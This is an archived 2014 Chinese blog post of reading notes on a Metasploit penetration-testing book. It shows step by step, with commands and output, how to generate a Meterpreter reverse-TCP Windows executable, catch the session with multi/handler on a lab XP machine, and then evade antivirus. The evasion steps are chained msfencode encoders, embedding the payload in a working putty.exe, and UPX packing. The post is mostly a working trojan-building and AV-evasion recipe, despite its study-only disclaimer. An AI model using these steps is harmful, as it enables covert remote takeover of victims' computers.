【2014-05-19】某《魔鬼训练营》读书笔记：msfpayload的使用及免杀工具

[历史归档]本文原发布于 cstriker1407.info 个人博客，内容为历史存档，仅供参考。
发布时间：2014-05-19｜ 标题：某《魔鬼训练营》读书笔记：msfpayload的使用及免杀工具｜分类：操作系统 / 安全 ｜标签：metasploit·msfpayload·msfencode·upx

！！！笔记仅供学习交流使用，请勿进行其他用途！！！

msfpayload的使用方法：

使用msfpayload生成payload：

root@kali:~# msfpayloadUsage: /opt/metasploit/apps/pro/msf3/msfpayload[<options>]<payload><[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>OPTIONS:-hHelp banner-lList available payloads#==>>参看可用的payload：root@kali:~# msfpayload -lFramework Payloads(335total)==============================Name Description ---- ----------- 。。。。。。 。。。。。。#==>>使用某个payload，并且输入“O”（大写字母O）查看选项：root@kali:~# msfpayload windows/meterpreter/reverse_tcp OName: Windows Meterpreter(Reflective Injection), Reverse TCP Stager Module: payload/windows/meterpreter/reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size:287Rank: Normal Provided by: skape<mmiller@hick.org>sf<stephen_fewer@harmonysecurity.com>hdm<hdm@metasploit.com>Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique(accepted: seh, thread, process, none)LHOST10.10.10.130yesThe listen address LPORT4444yesThe listen port Description: Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload(staged)#==>>LHOST和LPORT都是正确的，直接生成可执行文件root@kali:~# msfpayload windows/meterpreter/reverse_tcp X > test.exeCreated by msfpayload(http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length:287Options:{"LHOST"=>"10.10.10.130"}

将该可执行文件上传到WinXPSP2中，然后进入msf中：

#==>>首先找到对应的模块msf>search multi/handler Matching Modules================Name Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。 exploit/multi/handler manual Generic Payload Handler 。。。。。。 msf>use exploit/multi/handler msf exploit(handler)>show payloads 。。。。。。#==>>找到和生成exe文件相对应的payloadmsf exploit(handler)>setpayload windows/meterpreter/reverse_tcp payload=>windows/meterpreter/reverse_tcp msf exploit(handler)>show options#==>>查看，修改选项Module options(exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options(windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique(accepted: seh, thread, process, none)LHOSTyesThe listen address LPORT4444yesThe listen port Exploit target: Id Name -- ----0Wildcard Target msf exploit(handler)>setLHOST10.10.10.130 LHOST=>10.10.10.130 msf exploit(handler)>exploit#==>>msf开始监听后，就可以在XP中执行test.exe文件，就会发现渗透成功了[*]Started reverse handler on10.10.10.130:4444[*]Starting the payload handler...[*]Sending stage(769536bytes)to10.10.10.132[*]Meterpreter session1opened(10.10.10.130:4444 ->10.10.10.132:1047)at2014-05-1217:44:06 +0800 meterpreter>#==>>渗透成功

我们用msfpayload直接生成的payload非常容易被检测为木马，这里需要进行下免杀处理。先笔记个网址【 https://www.virustotal.com/zh-cn 】，可以在线检测木马。

msfencode：

root@kali:~/payloadtest# msfencode -hUsage: /opt/metasploit/apps/pro/msf3/msfencode<options>OPTIONS:-a<opt>The architecture to encode as-b<opt>The list of characters to avoid:'\x00\xff'-c<opt>The number oftimesto encode the data-d<opt>Specify the directoryinwhichtolookforEXE templates-e<opt>The encoder to use-hHelp banner-i<opt>Encode the contents of the suppliedfilepath-kKeep template working;run payloadinnew thread(use with -x)-lList available encoders-m<opt>Specifies an additional module search path-nDump encoder information-o<opt>The outputfile-p<opt>The platform to encodefor-s<opt>The maximum size of the encoded data-t<opt>The output format: bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war-vIncrease verbosity-x<opt>Specify an alternate executable template#==>>可用的编码器root@kali:~/payloadtest# msfencode -lFramework Encoders==================Name Rank Description ---- ---- ----------- cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic${IFS}Substitution Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1)via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The"none"Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder(optimised)x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

简单的使用实例：

#==>>使用msfpayload生成payload，使用R关键字输出原始数据，然后通过管道符号| 送到msfencode中，msfencode使用shikata_ga_nai编码一次，输出exe文件格式，输出名称为test2.exeroot@kali:~/payloadtest# msfpayload windows/meterpreter/reverse_tcp R | msfencode -e x86/shikata_ga_nai -c 1 -t exe -o test2.exe[*]x86/shikata_ga_nai succeeded with size314(iteration=1)#==>>使用msfpayload生成payload，使用R关键字输出原始数据，将原始数据保存在test.raw文件中，msfencode使用shikata_ga_nai编码一次，输出exe文件格式，输入数据来自test.raw，输出名称为test2.exeroot@kali:~/payloadtest# msfpayload windows/meterpreter/reverse_tcp R > test.rawroot@kali:~/payloadtest# msfencode -e x86/shikata_ga_nai -c 1 -t exe -i test.raw -o test3.exe[*]x86/shikata_ga_nai succeeded with size314(iteration=1)#==>>msfencode使用shikata_ga_nai编码一次，输出原始数据，输入数据来自test.raw，然后将输出的原始数据通过管道符号再次送到msfencode中，这里在使用countdown编码一次，输出exe文件格式，输出名称为test4.exeroot@kali:~/payloadtest# msfencode -e x86/shikata_ga_nai -c 1 -i test.raw -t raw | msfencode -e x86/countdown -c 1 -t exe -o test4.exe[*]x86/shikata_ga_nai succeeded with size314(iteration=1)[*]x86/countdown succeeded with size332(iteration=1)#==>>msfencode使用shikata_ga_nai编码一次，输出exe文件格式，输入数据来自test.raw，输出名称为sickputty.exe,不使用默认的编码模板，使用putty.exe作为编码模板（-x 选项），同时生成的sickputty.exe执行时依然可以运行putty（-k选项）root@kali:~/payloadtest# msfencode -e x86/shikata_ga_nai -c 1 -t exe -i test.raw -o sickputty.exe -x ./putty.exe -k[*]x86/shikata_ga_nai succeeded with size314(iteration=1)

UPX：

root@kali:~/payloadtest# upxUltimate PackerforeXecutables Copyright(C)1996-2011UPX3.08Markus Oberhumer, Laszlo Molnar&John Reiser Dec 12th2011Usage: upx[-123456789dlthVL][-qvfk][-o file]file..Commands:-1compress faster-9compress better-ddecompress-llist compressedfile-ttestcompressedfile-Vdisplay version number-hgivemorehelp-Ldisplay software license Options:-qbe quiet-vbe verbose-oFILEwriteoutput to'FILE'-fforce compression of suspicious files-kkeep backup files file..executables to(de)compress Type'upx --help'formoredetailed help. UPX comes with ABSOLUTELY NO WARRANTY;fordetails visit http://upx.sf.net root@kali:~/payloadtest# upx -hUltimate PackerforeXecutables Copyright(C)1996-2011UPX3.08Markus Oberhumer, Laszlo Molnar&John Reiser Dec 12th2011Usage: upx[-123456789dlthVL][-qvfk][-o file]file..Commands:-1compress faster-9compress better--bestcompress best(can be slowforbig files)-ddecompress-llist compressedfile-ttestcompressedfile-Vdisplay version number-hgive thishelp-Ldisplay software license Options:-qbe quiet-vbe verbose-oFILEwriteoutput to'FILE'-fforce compression of suspicious files --no-color, --mono, --color, --no-progress changelookCompression tuning options:--brutetry all available compression methods&filters --ultra-brute try evenmorecompression variants Backup options: -k,--backupkeep backup files --no-backup no backup files Overlay options:--overlay=copy copy any extra data attached to thefile--overlay=strip strip any extra data attached to thefile[DANGEROUS]--overlay=skip don't compress a file with an overlay Options for djgpp2/coff: --coff produce COFF output Options for dos/com: --8086 make compressed com work on any 8086 Options for dos/exe: --8086 make compressed exe work on any 8086 --no-reloc put no relocations in to the exe header Options for dos/sys: --8086 make compressed sys work on any 8086 Options for ps1/exe: --8-bit uses 8 bit size compression --8mib-ram 8 megabyte memory limit --boot-only disables client/host transfer compatibility --no-align don't align to2048bytes Optionsforwatcom/le:--leproduce LE output Optionsforwin32/pe, rtm32/pe&arm/pe: --compress-exports=0donot compress theexportsection --compress-exports=1compress theexportsection --compress-icons=0donot compress any icons --compress-icons=1compress all but the first icon --compress-icons=2compress all but the first icon directory --compress-icons=3compress all icons --compress-resources=0donot compress any resources at all --keep-resource=listdonot compress resources specified by list --strip-relocs=0donot strip relocations --strip-relocs=1strip relocations file..executables to(de)compress This version supports: AMD64-darwin.macho Mach/AMD64 ARMEL-darwin.macho Mach/ARMEL amd64-linux.elf linux/ElfAMD amd64-linux.kernel.vmlinux vmlinux/AMD64 arm-linux.elf linux/armel arm-linux.kernel.vmlinux vmlinux/armel arm-wince.pe arm/pe armeb-linux.elf linux/armeb armeb-linux.kernel.vmlinux vmlinux/armeb armel-linux.kernel.vmlinuz vmlinuz/armel fat-darwin.macho Mach/fat i086-dos16.com dos/com i086-dos16.exe dos/exe i086-dos16.sys dos/sys i386-bsd.elf.execve BSD/386 i386-darwin.macho Mach/i386 i386-dos32.djgpp2.coff djgpp2/coff i386-dos32.tmt.adam tmt/adam i386-dos32.watcom.le watcom/le i386-freebsd.elf BSD/elf386 i386-linux.elf linux/elf386 i386-linux.elf.execve linux/386 i386-linux.elf.shell linux/sh386 i386-linux.kernel.bvmlinuz bvmlinuz/386 i386-linux.kernel.vmlinux vmlinux/386 i386-linux.kernel.vmlinuz vmlinuz/386 i386-netbsd.elf netbsd/elf386 i386-openbsd.elf opnbsd/elf386 i386-win32.pe win32/pe m68k-atari.tos atari/tos mips-linux.elf linux/mipseb mipsel-linux.elf linux/mipsel mipsel.r3000-ps1 ps1/exe powerpc-darwin.macho Mach/ppc32 powerpc-linux.elf linux/ElfPPC powerpc-linux.kernel.vmlinux vmlinux/ppc32 UPX comes with ABSOLUTELY NO WARRANTY;fordetails visit http://upx.sf.net root@kali:~/payloadtest#

简单的使用实例：

#==>>使用压缩等级为5，进行压缩test4.exeroot@kali:~/payloadtest# upx -5 test4.exeUltimate PackerforeXecutables Copyright(C)1996-2011UPX3.08Markus Oberhumer, Laszlo Molnar&John Reiser Dec 12th2011File size Ratio Format Name -------------------- ------ ----------- -----------73802->4812865.21% win32/pe test4.exe Packed1file.

其他参考链接：

【 http://www.offensive-security.com/metasploit-unleashed/Msfpayload 】